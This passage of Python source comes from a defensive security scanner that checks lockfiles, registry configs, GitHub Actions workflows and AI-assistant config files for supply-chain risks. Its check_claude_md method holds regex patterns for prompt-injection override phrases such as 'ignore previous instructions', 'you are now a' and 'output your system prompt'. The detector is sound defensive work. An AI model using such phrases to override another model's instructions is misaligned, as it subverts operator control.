            allowed = data.get('allowedTools', [])
            if isinstance(allowed, list):
                dangerous_tools = [t for t in allowed if 'dangerously' in str(t).lower()]
                if dangerous_tools:
                    issues.append({
                        'type': 'dangerous_permissions',
                        'severity': 'CRITICAL',
                        'category': 'claude_config',
                        'file': str(settings_path),
                        'tools': dangerous_tools,
                        'message': f'Dangerous permissions enabled: {", ".join(str(t) for t in dangerous_tools[:5])}',
                        'remediation': 'Remove dangerously-related permission settings'
                    })

        except (json.JSONDecodeError, FileNotFoundError):
            pass

        return issues

    def check_claude_md(self, claude_md_path: Path) -> List[Dict]:
        """Detect prompt injection attacks in CLAUDE.md"""
        issues = []

        try:
            with open(claude_md_path, 'r', encoding='utf-8', errors='ignore') as f:
                content = f.read()
                lines = content.split('\n')

            # Prompt injection patterns
            injection_patterns = [
                (r'(?:ignore|disregard)\s+(?:all\s+)?(?:previous|above|prior)\s+(?:instructions|rules|guidelines)',
                 'Attempting to override prior instructions'),
                (r'you\s+are\s+now\s+(?:a|an)\s+',
                 'Attempting to redefine AI role'),
                (r'(?:new|override|replace)\s+system\s+prompt',
                 'Attempting to replace system prompt'),
                (r'(?:do\s+not|don\'t|never)\s+(?:follow|obey|listen)',
                 'Attempting to prevent compliance with safety rules'),
                (r'(?:execute|run|eval)\s+(?:this|the\s+following)\s+(?:code|command|script)',
                 'Attempting to force code execution'),
                (r'output\s+(?:your|the)\s+(?:system|initial|original)\s+prompt',
                 'Attempting to extract system prompt'),
                (r'(?:IMPORTANT|CRITICAL|URGENT)\s*:\s*(?:ignore|override|disregard|forget)',
                 'Disguising urgent instructions to override safety rules'),
            ]

            for line_num, line in enumerate(lines, 1):
                for pattern, desc in injection_patterns:
                    if re.search(pattern, line, re.IGNORECASE):
                        issues.append({
                            'type': 'prompt_injection',
                            'severity': 'CRITICAL',
                            'category': 'prompt_injection',
                            'file': str(claude_md_path),
                            'line': line_num,
                            'content': line.strip()[:200],
                            'message': f'Prompt injection: {desc}',
                            'remediation': 'Remove malicious content immediately'
                        })
                        break  # Only report once per line

            # Detect hidden Unicode characters
            hidden_chars = re.findall(r'[\u200b\u200c\u200d\u2060\ufeff\u00ad\u2062\u2063\u2064]', content)
            if hidden_chars:
                issues.append({
                    'type': 'hidden_unicode',
                    'severity': 'WARNING',
                    'category': 'prompt_injection',
                    'file': str(claude_md_path),
                    'count': len(hidden_chars),
                    'message': f'Detected {len(hidden_chars)} hidden Unicode characters, may contain invisible instructions',
                    'remediation': 'Remove all zero-width/invisible characters'
                })

            # Detect base64-encoded hidden content
            b64_matches = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', content)
            if len(b64_matches) > 2:
                issues.append({
                    'type': 'encoded_content',
                    'severity': 'WARNING',
                    'category': 'prompt_injection',
                    'file': str(claude_md_path),
                    'count': len(b64_matches),
                    'message': f'Detected {len(b64_matches)} segments of suspected base64-encoded content',
                    'remediation': 'Decode and review encoded content'
                })

        except FileNotFoundError:
            pass

        return issues

    def check_pipfile(self, pipfile_path: Path) -> List[Dict]:
        """Detect supply chain risks in Pipfile (git URL, typosquatting, no version constraints)"""
        issues = []

        try:
            with open(pipfile_path, 'r', encoding='utf-8') as f:
                lines = f.readlines()

            in_packages = False
            for line_num, raw_line in enumerate(lines, 1):
                line = raw_line.strip()

                # Detect section change
                if line in ('[packages]', '[dev-packages]'):
                    in_packages = True
                    continue
                if line.startswith('[') and line not in ('[packages]', '[dev-packages]'):
                    in_packages = False
                    continue
                if not in_packages or not line or line.startswith('#'):
                    continue

                # 1. Detect git URL dependencies (Pipfile format: pkg = {git = "https://..."} )
                if re.search(r'git\s*=\s*["\']https?://', line):
                    issues.append({
                        'type': 'git_url_dependency',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(pipfile_path),
                        'line': line_num,
                        'content': line[:200],
                        'message': f'Pipfile dependency installed via git URL: {line[:80]}',
                        'remediation': 'Verify git URL is official repository, use pinned PyPI version instead'
                    })

                # 2. Detect no version constraint ("*" version)
                if re.search(r'=\s*["\']?\*["\']?', line):
                    pkg_name = line.split('=')[0].strip().strip('"\'')
                    if pkg_name:
                        issues.append({
                            'type': 'unpinned_dependency',
                            'severity': 'WARNING',
                            'category': 'supply_chain',
                            'package': pkg_name,
                            'file': str(pipfile_path),
                            'line': line_num,
                            'message': f'Pipfile dependency {pkg_name} uses "*" with no version constraint',
                            'remediation': 'Use == to pin version or use Pipfile.lock'
                        })

                # 3. Typosquatting detection
                pkg_match = re.match(r'^([a-zA-Z0-9_.-]+)\s*=', line)
                if pkg_match:
                    pkg_name = pkg_match.group(1).strip().strip('"\'')
                    if pkg_name:
                        self._check_typosquatting(pkg_name, 'python', pipfile_path, issues)

        except FileNotFoundError:
            pass

        return issues

    def check_pyproject_deps(self, pyproject_path: Path) -> List[Dict]:
        """Detect dependency typosquatting in pyproject.toml (PEP 517/518/621 format)"""
        issues = []

        try:
            with open(pyproject_path, 'r', encoding='utf-8') as f:
                content = f.read()

            # PEP 621: [project] dependencies = ["pkg>=1.0", ...]
            pep621_match = re.search(
                r'\[project\].*?dependencies\s*=\s*\[(.*?)\]',
                content, re.DOTALL
            )
            if pep621_match:
                for pkg_name in re.findall(r'["\']([a-zA-Z0-9_.-]+)', pep621_match.group(1)):
                    self._check_typosquatting(pkg_name, 'python', pyproject_path, issues)

            # Poetry: [tool.poetry.dependencies]
            poetry_match = re.search(
                r'\[tool\.poetry\.(?:dev-)?dependencies\](.*?)(?=\[|\Z)',
                content, re.DOTALL
            )
            if poetry_match:
                for line in poetry_match.group(1).split('\n'):
                    line = line.strip()
                    if not line or line.startswith('#') or line.startswith('python'):
                        continue
                    m = re.match(r'^([a-zA-Z0-9_.-]+)\s*=', line)
                    if m:
                        pkg_name = m.group(1).strip()
                        self._check_typosquatting(pkg_name, 'python', pyproject_path, issues)
                        # git dependency detection
                        if re.search(r'git\s*=\s*["\']https?://', line):
                            issues.append({
                                'type': 'git_url_dependency',
                                'severity': 'CRITICAL',
                                'category': 'supply_chain',
                                'package': pkg_name,
                                'file': str(pyproject_path),
                                'message': f'pyproject.toml dependency {pkg_name} installed via git URL',
                                'remediation': 'Use pinned PyPI version instead'
                            })

            # PDM / Hatch: [tool.pdm.dependencies] / [tool.hatch.envs.*.dependencies]
            for tool_match in re.finditer(
                r'\[tool\.(?:pdm|hatch)[^\]]*\]\s*(.*?)(?=\[|\Z)',
                content, re.DOTALL
            ):
                for pkg_name in re.findall(r'["\']([a-zA-Z0-9_.-]+)[>=!<~]?', tool_match.group(1)):
                    self._check_typosquatting(pkg_name, 'python', pyproject_path, issues)

        except FileNotFoundError:
            pass

        return issues

    def check_github_actions(self, workflow_path: Path) -> List[Dict]:
        """Detect supply chain risks in GitHub Actions workflows"""
        issues = []

        try:
            with open(workflow_path, 'r', encoding='utf-8') as f:
                lines = f.readlines()

            for line_num, line in enumerate(lines, 1):
                # 1. Unpinned Action (using branch name)
                branch_match = re.search(
                    r'uses:\s+([\w.-]+/[\w.-]+)@(main|master|dev|develop|HEAD|latest)\b',
                    line
                )
                if branch_match:
                    action = branch_match.group(1)
                    branch = branch_match.group(2)
                    issues.append({
                        'type': 'unpinned_action',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(workflow_path),
                        'line': line_num,
                        'action': action,
                        'branch': branch,
                        'message': f'GitHub Action {action}@{branch} uses unpinned version, susceptible to supply chain attack',
                        'remediation': f'Pin with commit SHA: {action}@<full-sha>'
                    })

                # 2. Short SHA reference
                short_sha_match = re.search(
                    r'uses:\s+([\w.-]+/[\w.-]+)@([a-f0-9]{7,8})(?![a-f0-9])',
                    line
                )
                if short_sha_match:
                    action = short_sha_match.group(1)
                    sha = short_sha_match.group(2)
                    issues.append({
                        'type': 'short_sha_action',
                        'severity': 'INFO',
                        'category': 'supply_chain',
                        'file': str(workflow_path),
                        'line': line_num,
                        'action': action,
                        'message': f'GitHub Action {action}@{sha} uses short SHA, collision risk exists',
                        'remediation': 'Use full 40-character SHA'
                    })

                # 3. Detect secrets leaking to logs
                if re.search(r'echo\s+.*\$\{\{\s*secrets\.', line):
                    issues.append({
                        'type': 'secret_exposure',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'file': str(workflow_path),
                        'line': line_num,
                        'message': 'GitHub Actions echo prints secrets, may leak to logs',
                        'remediation': 'Remove echo output of secrets'
                    })

                # 4. Detect pull_request_target trigger (allows fork code to read secrets)
                if re.search(r'pull_request_target', line):
                    issues.append({
                        'type': 'dangerous_trigger',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'file': str(workflow_path),
                        'line': line_num,
                        'message': 'pull_request_target trigger allows fork code to access secrets',
                        'remediation': 'Use pull_request instead or restrict permissions'
                    })

        except FileNotFoundError:
            pass

        return issues

    def check_package_lock_json(self, path: Path) -> List[Dict]:
        """Detect lock file poisoning in package-lock.json (npm lockfileVersion 1/2/3)"""
        issues = []
        OFFICIAL_NPM_HOSTS = ('registry.npmjs.org', 'registry.yarnpkg.com')

        try:
            with open(path, 'r', encoding='utf-8-sig') as f:
                data = json.load(f)

            lock_version = data.get('lockfileVersion', 1)

            def _check_entry(pkg_name: str, entry: dict):
                if not isinstance(entry, dict):
                    return
                resolved = entry.get('resolved', '')
                integrity = entry.get('integrity', '')

                # Non-official resolved URL
                if resolved and resolved.startswith('http'):
                    if not any(host in resolved for host in OFFICIAL_NPM_HOSTS):
                        issues.append({
                            'type': 'non_official_resolved_url',
                            'severity': 'CRITICAL',
                            'category': 'supply_chain',
                            'package': pkg_name,
                            'url': resolved[:200],
                            'file': str(path),
                            'message': f'package-lock.json: {pkg_name} resolves from non-official URL: {resolved[:80]}',
                            'remediation': 'Verify package source; reinstall from official npm registry'
                        })

                # Missing integrity hash
                if resolved and not integrity:
                    issues.append({
                        'type': 'missing_integrity_hash',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'package': pkg_name,
                        'file': str(path),
                        'message': f'package-lock.json: {pkg_name} has no integrity hash (potential tampering)',
                        'remediation': 'Run "npm install" to regenerate lock file with integrity hashes'
                    })

                # Known malicious package cross-reference
                for lookup in (pkg_name, pkg_name.lower()):
                    if lookup in self.MALICIOUS_PACKAGES:
                        mal = self.MALICIOUS_PACKAGES[lookup]
                        if mal.get('ecosystem', 'npm') in ('npm', ''):
                            issues.append({
                                'type': 'malicious_package_in_lockfile',
                                'severity': mal.get('severity', 'CRITICAL'),
                                'category': 'supply_chain',
                                'package': pkg_name,
                                'file': str(path),
                                'reason': mal.get('reason', ''),
                                'damage': mal.get('damage', ''),
                                'message': f'package-lock.json contains known malicious package: {pkg_name}',
                                'remediation': mal.get('remediation', 'Remove immediately')
                            })
                        break

            def _walk_v1(deps: dict):
                for name, entry in deps.items():
                    if not isinstance(entry, dict):
                        continue
                    _check_entry(name, entry)
                    nested = entry.get('dependencies', {})
                    if nested:
                        _walk_v1(nested)

            if lock_version == 1:
                _walk_v1(data.get('dependencies', {}))
            else:
                # v2/v3: flat "packages" dict, keys like "node_modules/@scope/pkg"
                for key, entry in data.get('packages', {}).items():
                    if not key:  # skip root entry ""
                        continue
                    pkg_name = re.sub(r'^(?:node_modules/)+', '', key)
                    _check_entry(pkg_name, entry)

        except (json.JSONDecodeError, FileNotFoundError):
            pass

        return issues

    def check_yarn_lock(self, path: Path) -> List[Dict]:
        """Detect lock file poisoning in yarn.lock"""
        issues = []
        OFFICIAL_YARN_HOSTS = ('registry.npmjs.org', 'registry.yarnpkg.com')

        try:
            with open(path, 'r', encoding='utf-8', errors='ignore') as f:
                lines = f.readlines()

            current_pkg = None
            has_resolved = False
            has_integrity = False

            def _flush_block(pkg, had_resolved, had_integrity):
                if pkg and had_resolved and not had_integrity:
                    issues.append({
                        'type': 'missing_integrity_hash',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'package': pkg,
                        'file': str(path),
                        'message': f'yarn.lock: {pkg} has no integrity hash (potential tampering)',
                        'remediation': 'Run "yarn install" to regenerate lock file with integrity hashes'
                    })

            for line_num, raw_line in enumerate(lines, 1):
                line = raw_line.rstrip()

                # Stanza header: package@version: (not indented, not a comment)
                if line and not line.startswith(' ') and not line.startswith('#') and not line.startswith('__'):
                    header = re.match(r'^"?([^@\s"]+)@', line)
                    if header:
                        _flush_block(current_pkg, has_resolved, has_integrity)
                        current_pkg = header.group(1)
                        has_resolved = False
                        has_integrity = False
                        continue

                # resolved line
                resolved_match = re.match(r'\s+resolved\s+"([^"]+)"', line)
                if resolved_match:
                    has_resolved = True
                    url = resolved_match.group(1)
                    if not any(host in url for host in OFFICIAL_YARN_HOSTS):
                        issues.append({
                            'type': 'non_official_resolved_url',
                            'severity': 'CRITICAL',
                            'category': 'supply_chain',
                            'package': current_pkg or 'unknown',
                            'url': url[:200],
                            'file': str(path),
                            'line': line_num,
                            'message': f'yarn.lock: {current_pkg} resolves from non-official URL: {url[:80]}',
                            'remediation': 'Verify package source; reinstall from official yarn/npm registry'
                        })
                    continue

                # integrity line
                if re.match(r'\s+integrity\s+sha', line):
                    has_integrity = True

            # Flush last block
            _flush_block(current_pkg, has_resolved, has_integrity)

        except FileNotFoundError:
            pass

        return issues

    def check_poetry_lock(self, path: Path) -> List[Dict]:
        """Detect lock file poisoning in poetry.lock"""
        issues = []
        OFFICIAL_PYTHON_HOSTS = ('pypi.org', 'files.pythonhosted.org')

        try:
            with open(path, 'r', encoding='utf-8') as f:
                content = f.read()

            blocks = re.split(r'\[\[package\]\]', content)

            for block in blocks[1:]:
                name_match = re.search(r'^name\s*=\s*"([^"]+)"', block, re.MULTILINE)
                if not name_match:
                    continue
                pkg_name = name_match.group(1)

                source_type_match = re.search(r'type\s*=\s*"([^"]+)"', block)
                source_type = source_type_match.group(1) if source_type_match else ''
                url_match = re.search(r'url\s*=\s*"([^"]+)"', block)
                url = url_match.group(1) if url_match else ''

                if source_type == 'git':
                    issues.append({
                        'type': 'git_source_dependency',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'package': pkg_name,
                        'url': url[:200],
                        'file': str(path),
                        'message': f'poetry.lock: {pkg_name} installed from git source: {url[:80]}',
                        'remediation': 'Use a pinned PyPI release version instead of git source'
                    })
                elif source_type and source_type not in ('legacy', ''):
                    if url and not any(host in url for host in OFFICIAL_PYTHON_HOSTS):
                        issues.append({
                            'type': 'non_official_source',
                            'severity': 'CRITICAL',
                            'category': 'supply_chain',
                            'package': pkg_name,
                            'url': url[:200],
                            'file': str(path),
                            'message': f'poetry.lock: {pkg_name} sourced from non-PyPI URL: {url[:80]}',
                            'remediation': 'Verify the source is trusted; prefer official PyPI packages'
                        })

                # Known malicious package cross-reference
                for lookup in (pkg_name, pkg_name.lower()):
                    if lookup in self.MALICIOUS_PACKAGES:
                        mal = self.MALICIOUS_PACKAGES[lookup]
                        if mal.get('ecosystem', 'python') == 'python':
                            issues.append({
                                'type': 'malicious_package_in_lockfile',
                                'severity': mal.get('severity', 'CRITICAL'),
                                'category': 'supply_chain',
                                'package': pkg_name,
                                'file': str(path),
                                'reason': mal.get('reason', ''),
                                'damage': mal.get('damage', ''),
                                'message': f'poetry.lock contains known malicious package: {pkg_name}',
                                'remediation': mal.get('remediation', 'Remove immediately')
                            })
                        break

        except FileNotFoundError:
            pass

        return issues

    def check_cargo_lock(self, path: Path) -> List[Dict]:
        """Detect lock file poisoning in Cargo.lock"""
        issues = []

        try:
            with open(path, 'r', encoding='utf-8') as f:
                content = f.read()

            blocks = re.split(r'\[\[package\]\]', content)

            for block in blocks[1:]:
                name_match = re.search(r'^name\s*=\s*"([^"]+)"', block, re.MULTILINE)
                if not name_match:
                    continue
                pkg_name = name_match.group(1)

                source_match = re.search(r'^source\s*=\s*"([^"]+)"', block, re.MULTILINE)
                source = source_match.group(1) if source_match else ''
                checksum_match = re.search(r'^checksum\s*=\s*"([^"]+)"', block, re.MULTILINE)
                checksum = checksum_match.group(1) if checksum_match else ''

                if source.startswith('git+'):
                    issues.append({
                        'type': 'git_source_dependency',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'package': pkg_name,
                        'url': source[:200],
                        'file': str(path),
                        'message': f'Cargo.lock: {pkg_name} installed from git source: {source[:80]}',
                        'remediation': 'Use a versioned crates.io release instead of git source'
                    })
                elif source and 'crates.io-index' not in source:
                    issues.append({
                        'type': 'non_official_registry',
                        'severity': 'CRITICAL',
                        'category': 'supply_chain',
                        'package': pkg_name,
                        'url': source[:200],
                        'file': str(path),
                        'message': f'Cargo.lock: {pkg_name} from non-crates.io registry: {source[:80]}',
                        'remediation': 'Verify the custom registry is trusted'
                    })

                # Missing checksum for crates.io packages
                if source and 'crates.io-index' in source and not checksum:
                    issues.append({
                        'type': 'missing_checksum',
                        'severity': 'WARNING',
                        'category': 'supply_chain',
                        'package': pkg_name,
                        'file': str(path),
                        'message': f'Cargo.lock: {pkg_name} is missing a checksum (potential tampering)',
                        'remediation': 'Run "cargo update" to regenerate Cargo.lock with checksums'
                    })

        except FileNotFoundError:
            pass

        return issues

    def check_npmrc(self, path: Path) -> List[Dict]:
        """Detect registry substitution attacks in .npmrc"""
        issues = []
        OFFICIAL_NPM_HOST = 'registry.npmjs.org'

        try:
            with open(path, 'r', encoding='utf-8', errors='ignore') as f:
                lines = f.readlines()

            for line_num, raw_line in enumerate(lines, 1):
                line = raw_line.strip()
                if not line or line.startswith(';') or line.startswith('#'):
                    continue

                # Global registry override
                registry_match = re.match(r'^registry\s*=\s*(.+)$', line, re.IGNORECASE)
                if registry_match:
                    url = registry_match.group(1).strip()
                    if OFFICIAL_NPM_HOST not in url:
                        issues.append({
                            'type': 'non_official_registry',
                            'severity': 'CRITICAL',
                            'category': 'registry_substitution',
                            'url': url[:200],
                            'file': str(path),
                            'line': line_num,
                            'message': f'.npmrc: global registry overridden to non-official URL: {url[:80]}',
                            'remediation': 'Verify the registry override; use registry.npmjs.org for public packages'
                        })

                # Scoped registry override: @scope:registry=url
                scoped_match = re.match(r'^(@[^:]+):registry\s*=\s*(.+)$', line, re.IGNORECASE)
                if scoped_match:
                    scope = scoped_match.group(1)
                    url = scoped_match.group(2).strip()
                    if OFFICIAL_NPM_HOST not in url:
                        issues.append({
                            'type': 'scoped_non_official_registry',
                            'severity': 'WARNING',
                            'category': 'registry_substitution',
                            'scope': scope,
                            'url': url[:200],
                            'file': str(path),
                            'line': line_num,
                            'message': f'.npmrc: scope {scope} redirected to non-official registry: {url[:80]}',
                            'remediation': 'Verify this private registry is trusted and intentional'
                        })

                # Hardcoded auth token (literal value, not ${ENV_VAR} reference)
                token_match = re.search(r'_authToken\s*=\s*(.+)$', line)
                if token_match:
                    token_val = token_match.group(1).strip()
                    if token_val and not re.match(r'^\$\{[^}]+\}$', token_val):
                        issues.append({
                            'type': 'hardcoded_auth_token',
                            'severity': 'CRITICAL',
                            'category': 'registry_substitution',
                            'file': str(path),
                            'line': line_num,
                            'message': '.npmrc: hardcoded auth token detected (should use environment variable)',
                            'remediation': 'Replace with ${NPM_TOKEN} env var reference; never commit tokens to source control'
                        })

                # always-auth=true sends credentials to every registry
                if re.match(r'^always-auth\s*=\s*true\b', line, re.IGNORECASE):
                    issues.append({
                        'type': 'always_auth_enabled',
                        'severity': 'WARNING',
                        'category': 'registry_substitution',
                        'file': str(path),
                        'line': line_num,
                        'message': '.npmrc: always-auth=true sends credentials to ALL registry requests',
                        'remediation': 'Disable always-auth unless explicitly required for a private registry'
                    })

        except FileNotFoundError:
            pass

        return issues

    def check_pip_conf(self, path: Path) -> List[Dict]:
        """Detect registry substitution attacks in pip.conf / pip.ini"""
        issues = []
        OFFICIAL_PYTHON_HOSTS = ('pypi.org', 'files.pythonhosted.org', 'pypi.python.org')

        try:
            with open(path, 'r', encoding='utf-8', errors='ignore') as f:
                lines = f.readlines()

            for line_num, raw_line in enumerate(lines, 1):
                line = raw_line.strip()
                if not line or line.startswith('#') or line.startswith(';') or line.startswith('['):
                    continue

                kv_match = re.match(r'^([\w-]+)\s*[=:]\s*(.+)$', line)
                if not kv_match:
                    continue
                key = kv_match.group(1).lower().strip()
                val = kv_match.group(2).strip()

                if key == 'index-url':
                    if not any(host in val for host in OFFICIAL_PYTHON_HOSTS):
                        issues.append({
                            'type': 'non_official_index_url',
                            'severity': 'CRITICAL',
                            'category': 'registry_substitution',
                            'url': val[:200],
                            'file': str(path),
                            'line': line_num,
                            'message': f'pip.conf: index-url points to non-official PyPI index: {val[:80]}',
                            'remediation': 'Verify this index is trusted; use https://pypi.org/simple/ for public packages'
                        })

                elif key == 'extra-index-url':
                    # Always flag: even a trusted extra-index enables dependency confusion attacks
                    issues.append({
                        'type': 'extra_index_url_risk',
                        'severity': 'WARNING',
                        'category': 'registry_substitution',
                        'url': val[:200],
                        'file': str(path),
                        'line': line_num,
                        'message': f'pip.conf: extra-index-url enables dependency confusion attacks: {val[:80]}',
                        'remediation': 'Prefer --index-url only (no extra index), or use scoped private packages with explicit index'
                    })

                elif key == 'trusted-host':
                    # trusted-host bypasses TLS certificate verification
                    if not any(host in val for host in OFFICIAL_PYTHON_HOSTS):
                        issues.append({
                            'type': 'trusted_host_tls_bypass',
                            'severity': 'WARNING',
                            'category': 'registry_substitution',
                            'host': val[:200],
                            'file': str(path),
                            'line': line_num,
                            'message': f'pip.conf: trusted-host bypasses TLS verification for {val[:80]} (MITM risk)',
                            'remediation': 'Remove trusted-host and use only HTTPS package indexes with valid certificates'
                        })

        except FileNotFoundError:
            pass

        return issues


class FileChangeMonitor:
    """File change monitor"""

    def __init__(self, cache_file: str = '.ai_scanner_cache.json'):
        self.cache_file = Path(cache_file)
        self.cache = self._load_cache()

    def _load_cache(self) -> Dict:
        """Load cache"""
        if self.cache_file.exists():
            try:
                with open(self.cache_file, 'r') as f:
                    return json.load(f)
            except:
                pass
        return {'files': {}}

    def _save_cache(self):
        """Save cache"""
        try:
            with open(self.cache_file, 'w') as f:
                json.dump(self.cache, f, indent=2)
        except:
            pass

    def compute_hash(self, file_path: Path) -> str:
        """Compute file hash"""
        try:
            with open(file_path, 'rb') as f:
                return hashlib.md5(f.read()).hexdigest()
        except:
            return ''

    def check_changes(self, files: List[Path]) -> Dict[str, List[Path]]:
        """Check for file changes"""
        changes = {
            'new': [],
            'modified': [],
            'deleted': []
        }

        current_files = set()

        for file_path in files:
            if not file_path.exists():
                continue

            str_path = str(file_path)
            current_files.add(str_path)
            current_hash = self.compute_hash(file_path)

            if str_path not in self.cache['files']:
                changes['new'].append(file_path)
            elif self.cache['files'][str_path] != current_hash:
                changes['modified'].append(file_path)

            self.cache['files'][str_path] = current_hash

        # Check for deleted files
        for cached_path in list(self.cache['files'].keys()):
            if cached_path not in current_files:
                changes['deleted'].append(Path(cached_path))
                del self.cache['files'][cached_path]

        self._save_cache()
        return changes


class AutoSecurityScanner:
    """Automatic security scanner"""

    def __init__(self):
        self.project_detector = ProjectDetector()
        self.dependency_checker = DependencyChecker()
        self.file_monitor = FileChangeMonitor()

    def _scan_node_modules_for_malicious_packages(self, node_modules_dir: Path) -> List[Dict]:
        """Scan node_modules for known malicious packages

        Scans top-level dependencies and scoped packages (@scope/pkg), based on dynamic malicious package list
        """
        issues = []

        # Get npm ecosystem malicious package list from DependencyChecker
        npm_malicious = {
            name for name, info in self.dependency_checker.MALICIOUS_PACKAGES.items()
            if info.get('ecosystem', '') in ('npm', '')
        }

        try:
            for pkg_dir in node_modules_dir.iterdir():
                if not pkg_dir.is_dir():
                    continue

                pkg_name = pkg_dir.name

                # Handle scoped packages: @scope/pkg
                if pkg_name.startswith('@'):
                    for scoped_dir in pkg_dir.iterdir():
                        if scoped_dir.is_dir():
                            full_name = f'{pkg_name}/{scoped_dir.name}'
                            self._check_node_module_package(
                                scoped_dir, full_name, npm_malicious, issues
                            )
                else:
                    self._check_node_module_package(
                        pkg_dir, pkg_name, npm_malicious, issues
                    )

        except PermissionError:
            pass

        return issues

    def _parse_version(self, version: str):
        """Parse version number into tuple"""
        import re
        # Remove prefix
        v = re.sub(r'^[v^~>=<]+', '', str(version))
        # Split into numeric and non-numeric parts
        parts = re.findall(r'\d+|[a-zA-Z]+', v)
        # Convert to tuple
        result = []
        for p in parts:
            try:
                result.append(int(p))
            except ValueError:
                result.append(p)
        return tuple(result) if result else (0,)

    def _is_version_affected(self, version: str, affected: str) -> bool:
        """Check if version is within affected range

        affected format examples:
        - '>=1.4.0'  - greater than or equal to 1.4.0
        - '<3.3.4'   - less than 3.3.4
        - '>=2.0.0'  - greater than or equal to 2.0.0
        - '0.7.29, 0.8.0, 1.0.0' - only these three exact versions
        - 'all versions' - all versions
        """
        if not version or version == 'unknown':
            return False

        import re

        try:
            v = self._parse_version(version)
        except Exception:
            return False

        # Handle special format
        if affected == 'all versions':
            return True

        # Handle comma-separated exact version list
        if ',' in affected:
            for exact_ver in affected.split(','):
                target = self._parse_version(exact_ver.strip())
                if v == target:
                    return True
            return False

        # Handle range expressions
        op_match = re.match(r'^([><=]+)\s*([\d.]+)$', affected.strip())
        if op_match:
            op, ver = op_match.groups()
            try:
                target = self._parse_version(ver)
                if op == '>=':
                    return v >= target
                elif op == '>':
                    return v > target
                elif op == '<=':
                    return v <= target
                elif op == '<':
                    return v < target
                elif op == '==':
                    return v == target
                elif op == '!=':
                    return v != target
            except Exception:
                return False

        return False

    def _check_node_module_package(
        self, pkg_dir: Path, pkg_name: str,
        malicious_set: set, issues: List[Dict]
    ):
        """Check a single node_modules package"""
        if pkg_name not in malicious_set:
            return

        pkg_json = pkg_dir / 'package.json'
        if not pkg_json.exists() or pkg_json.stat().st_size == 0:
            return

        version = 'unknown'
        try:
            with open(pkg_json, 'r', encoding='utf-8-sig') as f:
                data = json.load(f)
                version = data.get('version', 'unknown')
        except (json.JSONDecodeError, OSError):
            pass

        mal_info = self.dependency_checker.MALICIOUS_PACKAGES.get(pkg_name, {})
        affected_versions = mal_info.get('affected_versions', 'all versions')

        # Check if version is affected
        if not self._is_version_affected(version, affected_versions):
            return  # Version not affected, skip

        issues.append({
            'type': 'malicious_package_in_node_modules',
            'severity': mal_info.get('severity', 'CRITICAL'),
            'category': 'supply_chain',
            'package': pkg_name,
            'version': version,
            'file': str(pkg_json),
            'reason': mal_info.get('reason', 'Known malicious package'),
            'damage': mal_info.get('damage', ''),
            'remediation': mal_info.get('remediation', 'Delete immediately'),
            'message': f'Found known malicious package: {pkg_name} v{version} (affected versions: {affected_versions})'
        })

    def auto_scan(self, path: str = '.', recursive: bool = True) -> Dict:
        """Auto scan - comprehensive security detection"""
        root_path = Path(path).resolve()

        results = {
            'projects_found': [],
            'project_types': {},
            'dependency_issues': [],
            'ai_config_issues': [],
            'file_changes': [],
            'security_issues': []
        }

        # 1. Auto-discover projects
        if recursive:
            project_roots = self.project_detector.find_project_roots(root_path)
        else:
            project_roots = [root_path] if self.project_detector.detect_project_type(root_path) else []

        # Even if not a project root, scan AI configs in current directory
        if root_path not in project_roots:
            project_roots.insert(0, root_path)

        results['projects_found'] = [str(p) for p in project_roots]

        # 2. Detect each project
        for proj_path in project_roots:
            types = self.project_detector.detect_project_type(proj_path)
            results['project_types'][str(proj_path)] = types

            def _collect(issue_list, category='dependency_issues'):
                results[category].extend(issue_list)
                results['security_issues'].extend(issue_list)

            # ===== Package manager dependency checks =====

            # npm
            package_json = proj_path / 'package.json'
            if package_json.exists():
                _collect(self.dependency_checker.check_npm_dependencies(package_json))

            # Python - basic typosquatting
            for req_file in ['requirements.txt', 'requirements-dev.txt', 'requirements-prod.txt']:
                req_path = proj_path / req_file
                if req_path.exists():
                    _collect(self.dependency_checker.check_python_dependencies(req_path))
                    # Python - deep supply chain detection
                    _collect(self.dependency_checker.check_python_supply_chain(req_path))

            # Rust
            cargo_toml = proj_path / 'Cargo.toml'
            if cargo_toml.exists():
                _collect(self.dependency_checker.check_cargo_dependencies(cargo_toml))

            # node_modules malicious package scan
            node_modules_dir = proj_path / 'node_modules'
            if node_modules_dir.exists():
                _collect(self._scan_node_modules_for_malicious_packages(node_modules_dir))

            # ===== Python build file checks =====

            setup_py = proj_path / 'setup.py'
            if setup_py.exists():
                _collect(self.dependency_checker.check_setup_py(setup_py))

            pyproject_toml = proj_path / 'pyproject.toml'
            if pyproject_toml.exists():
                # Structure detection (build backend, entry points)
                _collect(self.dependency_checker.check_pyproject_toml(pyproject_toml))
                # Dependency typosquatting detection
                _collect(self.dependency_checker.check_pyproject_deps(pyproject_toml))

            # Pipfile
            pipfile = proj_path / 'Pipfile'
            if pipfile.exists():
                _collect(self.dependency_checker.check_pipfile(pipfile))

            # ===== AI assistant configuration checks =====

            # Claude Code - settings.json (the actual hooks configuration file)
            for settings_path in [
                proj_path / '.claude' / 'settings.json',
                proj_path / '.claude' / 'config.json',
            ]:
                if settings_path.exists():
                    _collect(
                        self.dependency_checker.check_claude_settings(settings_path),
                        'ai_config_issues'
                    )

            # Global Claude Code configuration
            home_claude = Path.home() / '.claude' / 'settings.json'
            if home_claude.exists() and proj_path == root_path:
                _collect(
                    self.dependency_checker.check_claude_settings(home_claude),
                    'ai_config_issues'
                )

            # CLAUDE.md - Prompt injection detection
            for claude_md_name in ['CLAUDE.md', '.claude/CLAUDE.md']:
                claude_md = proj_path / claude_md_name
                if claude_md.exists():
                    _collect(
                        self.dependency_checker.check_claude_md(claude_md),
                        'ai_config_issues'
                    )

            # .cursorrules - also check for Prompt injection
            cursorrules = proj_path / '.cursorrules'
            if cursorrules.exists():
                _collect(
                    self.dependency_checker.check_claude_md(cursorrules),
                    'ai_config_issues'
                )

            # ===== GitHub Actions checks =====

            workflows_dir = proj_path / '.github' / 'workflows'
            if workflows_dir.exists() and workflows_dir.is_dir():
                for wf_file in workflows_dir.iterdir():
